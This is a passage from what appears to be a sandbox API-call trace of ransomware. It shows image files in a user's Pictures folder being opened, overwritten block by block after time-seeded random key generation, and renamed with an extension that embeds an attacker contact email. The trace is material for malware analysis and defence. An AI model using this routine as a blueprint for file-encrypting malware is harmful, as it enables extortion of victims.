dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x11a0 [0059.654] GetFileSizeEx (in: hFile=0x11a0, lpFileSize=0xaabff1c | out: lpFileSize=0xaabff1c*=88754) returned 1 [0059.654] SetFilePointerEx (in: hFile=0x11a0, liDistanceToMove=0x15aae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.654] ReadFile (in: hFile=0x11a0, lpBuffer=0xaabfea0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xaabfe9c, lpOverlapped=0x0 | out: lpBuffer=0xaabfea0*, lpNumberOfBytesRead=0xaabfe9c*=0x4, lpOverlapped=0x0) returned 1 [0059.655] SetFilePointerEx (in: hFile=0x11a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.655] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce1e0 [0059.655] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce258 [0059.655] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce280 [0059.655] NtQuerySystemTime (in: CurrentTime=0xaabfe7c | out: CurrentTime=0xaabfe7c*=132174898236312000) returned 0x0 [0059.655] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x5f56c096 [0059.655] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x49b2118 [0059.655] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x51117a37 [0059.655] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x7cf7a414 [0059.655] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x7bf4684c [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0xb032cac [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x24e547ad [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x118b863c [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x263bb59b [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x4cfbca2b [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x204a58de [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x11f27314 [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x7231935f [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x7d240d3f [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x7cdeb1aa [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x61a0c8f4 [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x3696764a [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x70c2034 [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0xe63d9d6 [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x1e13b2a0 [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x70048dc7 [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x499f5a97 [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0xf7e59c3 [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x52cba11b [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x691db00b [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x5c29fa4f [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x4158e5ab [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x73c2162a [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x925d8b1 [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x2c99de98 [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x50201fd2 [0059.656] RtlRandomEx (in: Seed=0xaabfe88 | out: Seed=0xaabfe88) returned 0x4fa1213d [0059.681] SetFilePointerEx (in: hFile=0x11a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.681] ReadFile (in: hFile=0x11a0, lpBuffer=0x960f640, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xaabfe5c, lpOverlapped=0x0 | out: lpBuffer=0x960f640*, lpNumberOfBytesRead=0xaabfe5c*=0xc800, lpOverlapped=0x0) returned 1 [0059.681] SetFilePointerEx (in: hFile=0x11a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.682] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c318 [0059.682] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437df0 [0059.682] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce1e0 [0059.682] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce1e0) returned 1 [0059.683] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x961be48 [0059.684] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce1e0 [0059.684] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce280 [0059.684] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce280) returned 1 [0059.684] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437df0) returned 1 [0059.684] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0059.684] WriteFile (in: hFile=0x11a0, lpBuffer=0x961be48*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xaabfe5c, lpOverlapped=0x0 | out: lpBuffer=0x961be48*, lpNumberOfBytesWritten=0xaabfe5c*=0xc800, lpOverlapped=0x0) returned 1 [0062.511] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x961be48) returned 1 [0062.511] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x960f640) returned 1 [0062.511] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f) returned 0x428c30 [0062.511] SetFilePointerEx (in: hFile=0x11a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.511] WriteFile (in: hFile=0x11a0, lpBuffer=0x5ed68b8*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0xaabfedc, lpOverlapped=0x0 | out: lpBuffer=0x5ed68b8*, lpNumberOfBytesWritten=0xaabfedc*=0x103, lpOverlapped=0x0) returned 1 [0062.845] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed68b8) returned 1 [0063.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428cd0) returned 1 [0063.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428d20) returned 1 [0063.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c30) returned 1 [0063.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce1e0) returned 1 [0063.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce258) returned 1 [0063.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce2a8) returned 1 [0063.392] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce2d0) returned 1 [0063.392] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e02960 [0063.392] wcscpy (in: _Dest=0x5e02960, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\sSRSv.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\sSRSv.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\sSRSv.png" [0063.392] wcscat (in: _Dest=0x5e02960, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\sSRSv.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\sSRSv.png.mailto[2Hamlampampom@cock.li].cd46d" [0063.392] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\sSRSv.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xaabfe94, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\sSRSv.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.392] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40d460 [0063.393] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d460) returned 1 [0063.393] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48dfe0) returned 1 [0063.393] NtQueryInformationFile (in: FileHandle=0x11a0, IoStatusBlock=0xaabfea0, FileInformation=0xaabfe78, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xaabfea0, FileInformation=0xaabfe78) returned 0x0 [0063.393] NtSetInformationFile (FileHandle=0x11a0, IoStatusBlock=0xaabfea0, FileInformation=0xaabfe78, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.394] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02960) returned 1 [0063.394] FlushFileBuffers (hFile=0x11a0) returned 1 [0066.223] CloseHandle (hObject=0x11a0) Thread: id = 1136 os_tid = 0xb28 [0059.684] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\UIb0ttuqY MGf-.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gyqji\\uib0ttuqy mgf-.jpg")) returned 0x20 [0059.684] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\UIb0ttuqY MGf-.jpg", dwFileAttributes=0x20) returned 1 [0059.685] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\UIb0ttuqY MGf-.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gyqji\\uib0ttuqy mgf-.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x11a4 [0059.685] GetFileSizeEx (in: hFile=0x11a4, lpFileSize=0xcacf7a8 | out: lpFileSize=0xcacf7a8*=75765) returned 1 [0059.685] SetFilePointerEx (in: hFile=0x11a4, liDistanceToMove=0x127f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.685] ReadFile (in: hFile=0x11a4, lpBuffer=0xcacf72c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xcacf728, lpOverlapped=0x0 | out: lpBuffer=0xcacf72c*, lpNumberOfBytesRead=0xcacf728*=0x4, lpOverlapped=0x0) returned 1 [0059.686] SetFilePointerEx (in: hFile=0x11a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.686] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce280 [0059.686] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce2f8 [0059.686] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce320 [0059.686] NtQuerySystemTime (in: CurrentTime=0xcacf708 | out: CurrentTime=0xcacf708*=132174898236624000) returned 0x0 [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x2daeabd2 [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x133ff1e7 [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0xa7c8314 [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x2363a8ed [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x9d8e060 [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x310a5c9d [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x5a52041e [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x1dd2fe5c [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x5e187d45 [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x39d939ac [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x2e4ebb57 [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x63b14fec [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x385781be [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x111d3b2c [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x58657989 [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x749cada4 [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x28ae83b2 [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x24b2153a [0059.686] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x454aa4e0 [0059.687] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x1db1ec53 [0059.687] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x50c6629 [0059.687] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x7883a305 [0059.687] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x672a1d47 [0059.687] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x39c6dbaa [0059.687] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x6d587b7f [0059.687] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x2772d748 [0059.687] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x697d61e9 [0059.687] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x2def0057 [0059.687] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x4a21d049 [0059.687] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x5e89aa6c [0059.687] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x33d836e0 [0059.687] RtlRandomEx (in: Seed=0xcacf714 | out: Seed=0xcacf714) returned 0x365fb6f8 [0059.699] SetFilePointerEx (in: hFile=0x11a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.699] ReadFile (in: hFile=0x11a4, lpBuffer=0x9628650, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xcacf6e8, lpOverlapped=0x0 | out: lpBuffer=0x9628650*, lpNumberOfBytesRead=0xcacf6e8*=0xc800, lpOverlapped=0x0) returned 1 [0059.700] SetFilePointerEx (in: hFile=0x11a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.700] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c318 [0059.700] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437df0 [0059.700] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce280 [0059.700] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce280) returned 1 [0059.701] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9634e58 [0059.702] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce280 [0059.702] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce320 [0059.702] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce320) returned 1 [0059.702] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437df0) returned 1 [0059.702] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0059.702] WriteFile (in: hFile=0x11a4, lpBuffer=0x9634e58*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xcacf6e8, lpOverlapped=0x0 | out: lpBuffer=0x9634e58*, lpNumberOfBytesWritten=0xcacf6e8*=0xc800, lpOverlapped=0x0) returned 1 [0062.513] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9634e58) returned 1 [0062.513] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9628650) returned 1 [0062.513] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x31) returned 0x4a65a0 [0062.513] SetFilePointerEx (in: hFile=0x11a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.513] WriteFile (in: hFile=0x11a4, lpBuffer=0x5efe4d0*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0xcacf768, lpOverlapped=0x0 | out: lpBuffer=0x5efe4d0*, lpNumberOfBytesWritten=0xcacf768*=0x115, lpOverlapped=0x0) returned 1 [0062.848] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe4d0) returned 1 [0062.848] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a65e0) returned 1 [0062.848] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428d48) returned 1 [0062.848] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a65a0) returned 1 [0062.848] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce280) returned 1 [0062.849] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce2f8) returned 1 [0062.849] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce348) returned 1 [0062.849] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce370) returned 1 [0062.849] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00060 [0062.849] wcscpy (in: _Dest=0x5e00060, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\UIb0ttuqY MGf-.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\UIb0ttuqY MGf-.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\UIb0ttuqY MGf-.jpg" [0062.849] wcscat (in: _Dest=0x5e00060, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\UIb0ttuqY MGf-.jpg.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\UIb0ttuqY MGf-.jpg.mailto[2Hamlampampom@cock.li].cd46d" [0062.849] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\UIb0ttuqY MGf-.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xcacf720, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\UIb0ttuqY MGf-.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.849] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x12cf97c8 [0062.982] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf97c8) returned 1 [0062.982] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x433230) returned 1 [0062.982] NtQueryInformationFile (in: FileHandle=0x11a4, IoStatusBlock=0xcacf72c, FileInformation=0xcacf704, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xcacf72c, FileInformation=0xcacf704) returned 0x0 [0062.982] NtSetInformationFile (FileHandle=0x11a4, IoStatusBlock=0xcacf72c, FileInformation=0xcacf704, Length=0x28, FileInformationClass=0x4) returned 0x0 [0062.983] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00060) returned 1 [0062.983] FlushFileBuffers (hFile=0x11a4) returned 1 [0066.207] CloseHandle (hObject=0x11a4) Thread: id = 1137 os_tid = 0xdf4 [0059.702] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\vX7c61MVkWRP1gBCphLl.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gyqji\\vx7c61mvkwrp1gbcphll.png")) returned 0x20 [0059.702] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\vX7c61MVkWRP1gBCphLl.png", dwFileAttributes=0x20) returned 1 [0059.703] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\vX7c61MVkWRP1gBCphLl.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gyqji\\vx7c61mvkwrp1gbcphll.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x11a8 [0059.703] GetFileSizeEx (in: hFile=0x11a8, lpFileSize=0xca7fc80 | out: lpFileSize=0xca7fc80*=63465) returned 1 [0059.703] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0xf7e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.703] ReadFile (in: hFile=0x11a8, lpBuffer=0xca7fc04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xca7fc00, lpOverlapped=0x0 | out: lpBuffer=0xca7fc04*, lpNumberOfBytesRead=0xca7fc00*=0x4, lpOverlapped=0x0) returned 1 [0059.704] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.704] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce320 [0059.704] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce398 [0059.704] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce3c0 [0059.704] NtQuerySystemTime (in: CurrentTime=0xca7fbe0 | out: CurrentTime=0xca7fbe0*=132174898236780000) returned 0x0 [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x5455e667 [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x51239665 [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x4fc750c6 [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x19b9309f [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x5c234a [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x7826593d [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x5585511c [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x5acc23fc [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x4921f77d [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x561966fa [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x164bc8b3 [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x6cfe96b5 [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x6a7f508d [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x7048dae [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x3846ef48 [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x22e31ead [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x296bae88 [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0xf0b1515 [0059.704] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x32f3f691 [0059.705] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x48dd7415 [0059.705] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x22b1de8e [0059.705] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x609aeded [0059.705] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x4f6922d9 [0059.705] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x7236c223 [0059.705] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x2afefeb [0059.705] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0xc07d795 [0059.705] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x66f4c999 [0059.705] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x3be77e92 [0059.705] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x11f5cc7a [0059.705] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0xdb9c2e1 [0059.705] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x4ec03902 [0059.705] RtlRandomEx (in: Seed=0xca7fbec | out: Seed=0xca7fbec) returned 0x32511ef [0059.718] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.718] ReadFile (in: hFile=0x11a8, lpBuffer=0x9641660, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xca7fbc0, lpOverlapped=0x0 | out: lpBuffer=0x9641660*, lpNumberOfBytesRead=0xca7fbc0*=0xc800, lpOverlapped=0x0) returned 1 [0059.718] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.718] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c318 [0059.718] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437df0 [0059.718] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 